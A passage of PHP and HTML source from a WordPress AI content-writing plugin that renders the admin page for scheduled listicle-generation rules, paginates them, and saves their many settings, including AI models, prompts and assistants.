%%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Taxonomies:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_listicle_list[custom_tax][]" placeholder="Please insert your desired custom taxonomies. Example: custom_taxonomy_name => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Enter a 2 letter language code that will be assigned as the WPML/Polylang language for posts. Example: for German, input: de", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Assign WPML/Polylang Language to Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_listicle_list[wpml_lang][]" value="" placeholder="WPML/Polylang language" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Scheduling Restrictions", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Run This Rule On The Following Days Of The Week:", 'aiomatic-automatic-ai-content-writer');?></b> <br/><?php echo esc_html__("Current Server Time:", 'aiomatic-automatic-ai-content-writer') . ' ' . date('l', time()) . ', ' . date("Y-m-d H:i:s");?> </td> <td> <input type="text" class="cr_width_full" name="aiomatic_listicle_list[days_no_run][]" value="" placeholder="Mo,Tu,We,Th,Fr,Sa,Su" class="cr_width_full"> </td> </tr> </table> </div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Automatic Post Generator</h3> <span id="aiomatic_ok" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_shrt_td2"><span class="cr_gray20">X</span></td> <td class="cr_short_td"><input type="checkbox" name="aiomatic_listicle_list[active][]" value="1" checked /> <input type="hidden" name="aiomatic_listicle_list[last_run][]" value="1988-01-27 00:00:00"/> <input type="hidden" name="aiomatic_listicle_list[rule_unique_id][]" value="<?php echo uniqid('', true);?>"/> </td> <td class="cr_short_td"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("No info.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </td> <td class="cr_center"> <div> <img src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif'); ?>" alt="Running" class="cr_running"> <div class="codemainfzr cr_gray_back cr_width_80p"> <select autocomplete="off" class="codemainfzr" id="actions" class="actions" name="actions" disabled> <option value="select" disabled selected><?php echo esc_html__("Select an Action", 'aiomatic-automatic-ai-content-writer');?></option> <option value="run" onclick=""><?php echo esc_html__("Run This Rule Now", 'aiomatic-automatic-ai-content-writer');?></option> <option value="duplicate" onclick=""><?php echo esc_html__("Duplicate This Rule", 'aiomatic-automatic-ai-content-writer');?></option> <option value="up" onclick=""><?php echo esc_html__("Move This Rule Up", 'aiomatic-automatic-ai-content-writer');?></option> <option value="down" onclick=""><?php echo esc_html__("Move This Rule Down", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash" onclick=""><?php echo esc_html__("Send All Posts To Trash", 'aiomatic-automatic-ai-content-writer');?></option> <option value="delete" onclick=""><?php echo esc_html__("Permanently Delete All Posts", 'aiomatic-automatic-ai-content-writer');?></option> </select> </div> </div> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> <hr/> <div> <?php $next_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($next_url, 'aiomatic_page=') === false) { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $next_page = $curent_page + 1; if($next_page > $max_pages) { $next_page = $max_pages; } if($next_page <= 0) { $next_page = 1; } $next_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $next_page, $next_url); } else { if(stristr($next_url, '?') === false) { if($max_pages == 1) { $next_url .= '?aiomatic_page=1'; } else { $next_url .= '?aiomatic_page=2'; } } else { if($max_pages == 1) { $next_url .= '&aiomatic_page=1'; } else { $next_url .= '&aiomatic_page=2'; } } } } $prev_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($prev_url, 'aiomatic_page=') === false) { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $go_to = $curent_page - 1; if($go_to <= 0) { $go_to = 1; } if($go_to > $max_pages) { $go_to = $max_pages; } $prev_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $go_to, $prev_url); } else { if(stristr($prev_url, '?') === false) { $prev_url .= '?aiomatic_page=1'; } else { $prev_url .= '&aiomatic_page=1'; } } } $first_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($first_url, 'aiomatic_page=') === false) { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $first_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=1', $first_url); } else { if(stristr($first_url, '?') === false) { $first_url .= '?aiomatic_page=1'; } else { $first_url .= '&aiomatic_page=1'; } } } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } if(isset($_GET['aiomatic_page'])) { $this_page = $_GET["aiomatic_page"]; } else { $this_page = '1'; } echo '<center><a href="' . esc_url_raw($first_url) . '">' . esc_html__('First Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($prev_url) . '">' . esc_html__('Previous Page', 'aiomatic-automatic-ai-content-writer') . '</a>  ' . esc_html__('Page', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($this_page) . ' ' . esc_html__('of', 'aiomatic-automatic-ai-content-writer') . ' ' . esc_html($max_pages) . ' - ' . esc_html__("Rules Per Page:", 'aiomatic-automatic-ai-content-writer') . '  <input class="cr_50" type="number" min="2" step="1" max="999" name="posts_per_page" value="' . esc_attr($rules_per_page). '" required/>   <a href="' . esc_url_raw($next_url) . '">' . esc_html__('Next Page', 'aiomatic-automatic-ai-content-writer') . '</a>   <a href="' . esc_url_raw($last_url) . '">' . esc_html__('Last Page', 'aiomatic-automatic-ai-content-writer') . '</a></center> <center></center> <center>Info: You can add new rules only on the last page.</center>'; ?> <div> <p class="crsubmit"><input type="submit" name="btnSubmit" id="btnSubmit" class="button button-primary" onclick="unsaved = false;" value="<?php echo esc_html__("Save Settings", 'aiomatic-automatic-ai-content-writer');?>"/></p> </div> <div> <div><?php echo esc_html__("* = required", 'aiomatic-automatic-ai-content-writer');?></div><br/><?php echo sprintf( wp_kses( __( "Check more settings which apply to rule running, over at the plugin's 'Settings' menu, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_admin_settings#tab-17' ) );?> <br/><?php echo esc_html__("New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or other", 'aiomatic-automatic-ai-content-writer') . " <a href='https://1.envato.market/coderevolutionplugins' target='_blank'>" . esc_html__("'omatic plugins created by CodeRevolution", 'aiomatic-automatic-ai-content-writer') . "</a>" . esc_html__(", click for details:", 'aiomatic-automatic-ai-content-writer');?> <a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-ai-generated-content-from-any-plugin-built-by-coderevolution/" target="_blank"><img src="https://i.ibb.co/gvTNWr6/artificial-intelligence-badge.png" alt="artificial-intelligence-badge" title="AI content generator support, when used together with the Aiomatic plugin"></a><br/><br/><a href="https://www.youtube.com/watch?v=5rbnu_uis7Y" target="_blank"><?php echo esc_html__("Nested Shortcodes also supported!", 'aiomatic-automatic-ai-content-writer');?></a><br/><br/><?php echo esc_html__("Confused about rule running status icons?", 'aiomatic-automatic-ai-content-writer');?> <a href="http://coderevolution.ro/knowledge-base/faq/how-to-interpret-the-rule-running-visual-indicators-red-x-yellow-diamond-green-tick-from-inside-plugins/" target="_blank"><?php echo esc_html__("More info", 'aiomatic-automatic-ai-content-writer');?></a><br/> <div class="cr_none" id="midas_icons"> <table> <tr> <td><img id="run_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/running.gif');?>" alt="Running" title="status"></td> <td><?php echo esc_html__("In Progress", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Importing is Running", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="ok_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/ok.gif');?>" alt="OK" title="status"></td> <td><?php echo esc_html__("Success", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("New Posts Created", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="fail_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/failed.gif');?>" alt="Faield" title="status"></td> <td><?php echo esc_html__("Failed", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("An Error Occurred.", 'aiomatic-automatic-ai-content-writer');?> <b><?php echo esc_html__("Please check 'Activity and Logging' plugin menu for details.", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td><img id="nochange_img" src="<?php echo esc_url_raw(plugin_dir_url(dirname(__FILE__)) . 'images/nochange.gif');?>" alt="NoChange" title="status"></td> <td><?php echo esc_html__("No Change - No New Posts Created", 'aiomatic-automatic-ai-content-writer');?> - <b><?php echo esc_html__("Possible reasons:", 'aiomatic-automatic-ai-content-writer');?></b></td> </tr> <tr> <td></td> <td> <ul> <li>► <?php echo esc_html__("Please change rule settings, as your titles are all posted.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> </td> </tr> </table> </div> </div> </form> </div> <div id="running_status_ai"></div> </div> <div class="wrap"> <h3><?php echo esc_html__("Listicle Creator Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <div id="ai-video-container"><br/> <iframe class="ai-video" width="560" height="315" src="https://www.youtube.com/embed/pPCZPHYOaYs" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> </div> </div> <?php } if (isset($_POST['aiomatic_listicle_list'])) { add_action('admin_init', 'aiomatic_save_rules_listicle'); } function aiomatic_save_rules_listicle($data2) { $init_rules_per_page = get_option('aiomatic_posts_per_page', 12); $rules_per_page = get_option('aiomatic_posts_per_page', 12); if(isset($_POST['posts_per_page'])) { update_option('aiomatic_posts_per_page', $_POST['posts_per_page']); } check_admin_referer('aiomatic_save_rules', '_aiomaticr_nonce'); $data2 = $_POST['aiomatic_listicle_list']; $rules = get_option('aiomatic_listicle_list', array()); if(!is_array($rules)) { $rules = array(); } $initial_count = count($rules); $add = false; $scad = false; if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $offset = ($curent_page - 1) * $rules_per_page; $cat_cont = $offset; $cont = 0; if (isset($data2['post_title'][0])) { for ($i = 0; $i < sizeof($data2['post_title']); ++$i) { $bundle = array(); if (isset($data2['schedule'][$i]) && $data2['schedule'][$i] != '' && $data2['post_title'][$i] != '') { $bundle[] = trim(sanitize_text_field($data2['schedule'][$i])); if (isset($data2['active'][$i])) { $bundle[] = trim(sanitize_text_field($data2['active'][$i])); } else { $bundle[] = '0'; } $bundle[] = trim(sanitize_text_field($data2['last_run'][$i])); $bundle[] = trim(sanitize_text_field($data2['max'][$i])); $bundle[] = trim(sanitize_text_field($data2['submit_status'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_type'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_author'][$i])); $bundle[] = trim(sanitize_text_field($data2['default_tags'][$i])); if($i == sizeof($data2['schedule']) - 1) { if(isset($data2['default_category'])) { $bundle[] = $data2['default_category']; } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } } else { if(!isset($data2['default_category' . $cat_cont])) { $cat_cont++; } if(!isset($data2['default_category' . $cat_cont])) { $bundle[] = array('aiomatic_no_category_12345678'); } else { $bundle[] = $data2['default_category' . $cat_cont]; } } $bundle[] = trim(sanitize_text_field($data2['auto_categories'][$i])); $bundle[] = trim(sanitize_text_field($data2['auto_tags'][$i])); $bundle[] = trim(sanitize_text_field($data2['enable_comments'][$i])); $bundle[] = trim($data2['image_url'][$i]); $bundle[] = $data2['post_title'][$i]; $bundle[] = trim(sanitize_text_field($data2['enable_pingback'][$i])); $bundle[] = trim(sanitize_text_field($data2['post_format'][$i])); $bundle[] = trim($data2['custom_fields'][$i]); $bundle[] = trim($data2['custom_tax'][$i]); $bundle[] = trim($data2['temperature'][$i]); $bundle[] = trim($data2['top_p'][$i]); $bundle[] = trim($data2['presence_penalty'][$i]); $bundle[] = trim($data2['frequency_penalty'][$i]); $bundle[] = trim($data2['royalty_free'][$i]); $bundle[] = trim($data2['max_tokens'][$i]); $bundle[] = trim($data2['max_seed_tokens'][$i]); $bundle[] = trim($data2['post_prepend'][$i]); $bundle[] = trim($data2['post_append'][$i]); $bundle[] = trim($data2['enable_ai_images'][$i]); $bundle[] = trim($data2['ai_command_image'][$i]); $bundle[] = trim($data2['image_size'][$i]); $bundle[] = trim($data2['wpml_lang'][$i]); $bundle[] = trim($data2['remove_default'][$i]); $bundle[] = trim($data2['strip_title'][$i]); $bundle[] = trim($data2['title_once'][$i]); $bundle[] = trim($data2['category_model'][$i]); $bundle[] = trim($data2['category_ai_command'][$i]); $bundle[] = trim($data2['tag_model'][$i]); $bundle[] = trim($data2['tag_ai_command'][$i]); $bundle[] = trim($data2['min_time'][$i]); $bundle[] = trim($data2['max_time'][$i]); $bundle[] = trim($data2['skip_spin'][$i]); $bundle[] = trim($data2['skip_translate'][$i]); $bundle[] = trim($data2['post_topic_list'][$i]); $bundle[] = trim($data2['post_sections_list'][$i]); $bundle[] = trim($data2['content_language'][$i]); $bundle[] = trim($data2['writing_style'][$i]); $bundle[] = trim($data2['writing_tone'][$i]); $bundle[] = trim($data2['title_prompt'][$i]); $bundle[] = trim($data2['sections_prompt'][$i]); $bundle[] = trim($data2['content_prompt'][$i]); $bundle[] = trim($data2['excerpt_prompt'][$i]); $bundle[] = trim($data2['section_count'][$i]); $bundle[] = trim($data2['paragraph_count'][$i]); $bundle[] = trim($data2['topic_title_model'][$i]); $bundle[] = trim($data2['topic_sections_model'][$i]); $bundle[] = trim($data2['topic_content_model'][$i]); $bundle[] = trim($data2['topic_excerpt_model'][$i]); $bundle[] = trim($data2['single_content_call'][$i]); $bundle[] = trim($data2['intro_prompt'][$i]); $bundle[] = trim($data2['topic_intro_model'][$i]); $bundle[] = trim($data2['outro_prompt'][$i]); $bundle[] = trim($data2['topic_outro_model'][$i]); $bundle[] = trim($data2['topic_images'][$i]); $bundle[] = trim($data2['sections_role'][$i]); $bundle[] = trim($data2['topic_videos'][$i]); $bundle[] = trim($data2['rule_description'][$i]); $bundle[] = trim($data2['custom_shortcodes'][$i]); $bundle[] = trim($data2['strip_by_regex'][$i]); $bundle[] = trim($data2['replace_regex'][$i]); $bundle[] = trim($data2['strip_by_regex_prompts'][$i]); $bundle[] = trim($data2['replace_regex_prompts'][$i]); $bundle[] = trim($data2['run_regex_on'][$i]); $bundle[] = trim($data2['max_links'][$i]); $bundle[] = trim($data2['link_post_types'][$i]); $bundle[] = trim($data2['enable_toc'][$i]); $bundle[] = trim($data2['title_toc'][$i]); $bundle[] = trim($data2['qa_prompt'][$i]); $bundle[] = trim($data2['topic_qa_model'][$i]); $bundle[] = trim($data2['enable_qa'][$i]); $bundle[] = trim($data2['title_qa'][$i]); $bundle[] = trim($data2['title_outro'][$i]); $bundle[] = trim($data2['link_type'][$i]); $bundle[] = trim($data2['link_list'][$i]); $bundle[] = trim($data2['skip_inexist'][$i]); $bundle[] = trim($data2['global_prepend'][$i]); $bundle[] = trim($data2['global_append'][$i]); $bundle[] = trim($data2['search_query_repetition'][$i]); $bundle[] = trim($data2['img_all_headings'][$i]); $bundle[] = trim($data2['heading_img_location'][$i]); $bundle[] = trim($data2['days_no_run'][$i]); $bundle[] = trim($data2['overwrite_existing'][$i]); $bundle[] = trim($data2['link_nofollow'][$i]); $bundle[] = trim($data2['title_generator_method'][$i]); $bundle[] = trim($data2['parent_id'][$i]); $bundle[] = trim($data2['rule_unique_id'][$i]); $bundle[] = trim($data2['image_model'][$i]); $bundle[] = isset($data2['assistant_id'][$i]) ? trim($data2['assistant_id'][$i]) : ''; $rules[$offset + $cont] = $bundle; $cont++; $cat_cont++; } } while($cont < $init_rules_per_page) { if(isset($rules[$offset + $cont])) { $rules[$offset + $cont] = false; } $cont = $cont + 1; $cat_cont++; } $rules = array_values(array_filter($rules)); } $final_count = count($rules); if($final_count > $initial_count) { $add = true; } elseif($final_count < $initial_count) { $scad = true; } update_option('aiomatic_listicle_list', $rules, false); if(count($rules) % $rules_per_page === 1 && $add === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } elseif(count($rules) != 0 && count($rules) % $rules_per_page === 0 && $scad === true) { $rules_count = count($rules); $max_pages = ceil($rules_count/$rules_per_page); if($max_pages == 0) { $max_pages = 1; } $last_url = (aiomatic_isSecure() ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; if(stristr($last_url, 'aiomatic_page=') === false) { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } else { if(isset($_GET['aiomatic_page'])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = ''; } if(is_numeric($curent_page)) { $last_url = str_replace('aiomatic_page=' . $curent_page, 'aiomatic_page=' . $max_pages, $last_url); } else { if(stristr($last_url, '?') === false) { $last_url .= '?aiomatic_page=' . $max_pages; } else { $last_url .= '&aiomatic_page=' . $max_pages; } } } aiomatic_redirect($last_url); } } function aiomatic_expand_rules_listicle() { $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); if (!get_option('aiomatic_running_list')) { $running = array(); } else { $running = get_option('aiomatic_running_list'); } $GLOBALS['wp_object_cache']->delete('aiomatic_listicle_list', 'options'); $rules = get_option('aiomatic_listicle_list'); if(!is_array($rules)) { $rules = array(); } $output = ''; $cont = 0; if (!empty($rules)) { $cat_args = array( "orderby" => "name", "hide_empty" => 0, "order" => "ASC" ); $categories = get_categories($cat_args); $posted_items = array(); $post_list = array(); $postsPerPage = 50000; $paged = 0; do { $postOffset = $paged * $postsPerPage; $query = array( 'post_status' => array( 'publish', 'draft', 'pending', 'trash', 'private', 'future' ), 'post_type' => array( 'any' ), 'numberposts' => $postsPerPage, 'meta_key' => 'aiomatic_parent_rule', 'fields' => 'ids', 'offset' => $postOffset ); $got_me = get_posts($query); $post_list = array_merge($post_list, $got_me); $paged++; }while(!empty($got_me)); wp_suspend_cache_addition(true); foreach ($post_list as $post) { $rule_id = get_post_meta($post, 'aiomatic_parent_rule', true); if ($rule_id != '') { if(stristr($rule_id, '-')) { $exp = explode('-', $rule_id); if(isset($exp[0]) && isset($exp[1]) && $exp[0] == '6') { $posted_items[] = $exp[1]; } } else { $posted_items[] = $rule_id; } } } wp_suspend_cache_addition(false); $counted_vals = array_count_values($posted_items); if(isset($_GET["aiomatic_page"]) && is_numeric($_GET["aiomatic_page"])) { $curent_page = $_GET["aiomatic_page"]; } else { $curent_page = 1; } $unlocker = get_option('aiomatic_minute_running_unlocked', false); $rules_per_page = get_option('aiomatic_posts_per_page', 12); foreach ($rules as $request => $bundle[]) { if(($cont < ($curent_page - 1) * $rules_per_page) || ($cont >= $curent_page * $rules_per_page)) { $cont++; continue; } $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues);for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}} $schedule = $array_my_values[0]; $active = $array_my_values[1]; $last_run = $array_my_values[2]; $max = $array_my_values[3]; $status = $array_my_values[4]; $def_type = $array_my_values[5]; $post_user_name = $array_my_values[6]; $default_tags = $array_my_values[7]; $default_category = $array_my_values[8]; $auto_categories = $array_my_values[9]; $auto_tags = $array_my_values[10]; $enable_comments = $array_my_values[11]; $image_url = $array_my_values[12]; $post_title = $array_my_values[13]; $enable_pingback = $array_my_values[14]; $post_format = $array_my_values[15]; $custom_fields = $array_my_values[16]; $custom_tax = $array_my_values[17]; $temperature = $array_my_values[18]; $top_p = $array_my_values[19]; $presence_penalty = $array_my_values[20]; $frequency_penalty = $array_my_values[21]; $royalty_free = $array_my_values[22]; $max_tokens = $array_my_values[23]; $max_seed_tokens = $array_my_values[24]; $post_prepend = $array_my_values[25]; $post_append = $array_my_values[26]; $enable_ai_images = $array_my_values[27]; $ai_command_image = $array_my_values[28]; $image_size = $array_my_values[29]; $wpml_lang = $array_my_values[30]; $remove_default = $array_my_values[31]; $strip_title = $array_my_values[32]; $title_once = $array_my_values[33]; $category_model = $array_my_values[34]; $category_ai_command = $array_my_values[35]; $tag_model = $array_my_values[36]; $tag_ai_command = $array_my_values[37]; $min_time = $array_my_values[38]; $max_time = $array_my_values[39]; $skip_spin = $array_my_values[40]; $skip_translate = $array_my_values[41]; $post_topic_list = $array_my_values[42]; $post_sections_list = $array_my_values[43]; $content_language = $array_my_values[44]; $writing_style = $array_my_values[45]; $writing_tone = $array_my_values[46]; $title_prompt = $array_my_values[47]; $sections_prompt = $array_my_values[48]; $content_prompt = $array_my_values[49]; $excerpt_prompt = $array_my_values[50]; $section_count = $array_my_values[51]; $paragraph_count = $array_my_values[52]; $topic_title_model = $array_my_values[53]; $topic_sections_model = $array_my_values[54]; $topic_content_model = $array_my_values[55]; $topic_excerpt_model = $array_my_values[56]; $single_content_call = $array_my_values[57]; $intro_prompt = $array_my_values[58]; $topic_intro_model = $array_my_values[59]; $outro_prompt = $array_my_values[60]; $topic_outro_model = $array_my_values[61]; $topic_images = $array_my_values[62]; $sections_role = $array_my_values[63]; $topic_videos = $array_my_values[64]; $rule_description = $array_my_values[65]; $custom_shortcodes = $array_my_values[66]; $strip_by_regex = $array_my_values[67]; $replace_regex = $array_my_values[68]; $strip_by_regex_prompts = $array_my_values[69]; $replace_regex_prompts = $array_my_values[70]; $run_regex_on = $array_my_values[71]; $max_links = $array_my_values[72]; $link_post_types = $array_my_values[73]; $enable_toc = $array_my_values[74]; $title_toc = $array_my_values[75]; $qa_prompt = $array_my_values[76]; $topic_qa_model = $array_my_values[77]; $enable_qa = $array_my_values[78]; $title_qa = $array_my_values[79]; $title_outro = $array_my_values[80]; $link_type = $array_my_values[81]; $link_list = $array_my_values[82]; $skip_inexist = $array_my_values[83]; $global_prepend = $array_my_values[84]; $global_append = $array_my_values[85]; $search_query_repetition= $array_my_values[86]; $img_all_headings = $array_my_values[87]; $heading_img_location = $array_my_values[88]; $days_no_run = $array_my_values[89]; $overwrite_existing = $array_my_values[90]; $link_nofollow = $array_my_values[91]; $title_generator_method = $array_my_values[92]; $parent_id = $array_my_values[93]; $rule_unique_id = $array_my_values[94]; $image_model = $array_my_values[95]; $assistant_id = $array_my_values[96]; if(empty($rule_unique_id)) { $rule_unique_id = $cont; } if (isset($counted_vals[$rule_unique_id])) { $generated_posts = $counted_vals[$rule_unique_id]; } else { $generated_posts = 0; } if($rule_description == '') { $rule_description = $cont; } $name = md5(get_bloginfo()); wp_add_inline_script($name . '-footer-script', 'createAdmin(' . esc_html($cont) . ');createModeSelect(' . esc_html($cont) . ');hideLinks(' . esc_html($cont) . ');', 'after'); $output .= '<tr> <td class="cr_short_td"><input type="text" name="aiomatic_listicle_list[rule_description][]" id="rule_description' . esc_html($cont) . '" class="cr_center" placeholder="Rule ID" value="' . esc_html($rule_description) . '" class="cr_width_full"/></td> <td class="cr_loi"><textarea rows="1" name="aiomatic_listicle_list[post_title][]" placeholder="Please insert your post titles/TXT file URL/RSS feed URLs/%%ai_generated_title%% shortcode" class="cr_width_full">' . htmlspecialchars($post_title) . '</textarea></td> <td class="cr_comm_td"><input type="number" step="1" min="1" placeholder="# h" name="aiomatic_listicle_list[schedule][]" max="8765812" value="' . esc_attr($schedule) . '" class="cr_width_60" required></td> <td class="cr_comm_td"><input type="number" step="1" min="0" placeholder="#" name="aiomatic_listicle_list[max][]" value="' . esc_attr($max) . '" class="cr_width_60" required></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr' . esc_html($cont) . '" value="Settings"> <div id="mymodalfzr' . esc_html($cont) . '" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close' . esc_html($cont) . '" class="codeclosefzr">×</span> <h2>' . esc_html__('Rule', 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_color_white">ID ' . esc_html($cont) . '</span> ' . esc_html__('Advanced Settings', 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"><tr><td colspan="2"><h3>' . esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer') . ':</h3> </td></tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer') . '</b> </td> <td><select id="assistant_id' . esc_html($cont) . '" name="aiomatic_listicle_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected(\'' . esc_html($cont) . '\');">'; if($all_assistants === false) { $output .= '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { $output .= '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $output .= '<option value=""'; if($assistant_id == ''){$output .= ' selected';} $output .= '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { $output .= '<option value="' . $myassistant->ID .'"'; if($assistant_id == $myassistant->ID){$output .= ' selected';} $output .= '>' . esc_html($myassistant->post_title); $output .= '</option>'; } } } $output .= '</select> </td> </tr> <tr class="hidetopic' . esc_html($cont) . '"><td colspan="2"><h3>' . esc_html__('Listicle Article Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr class="hidetopic' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons 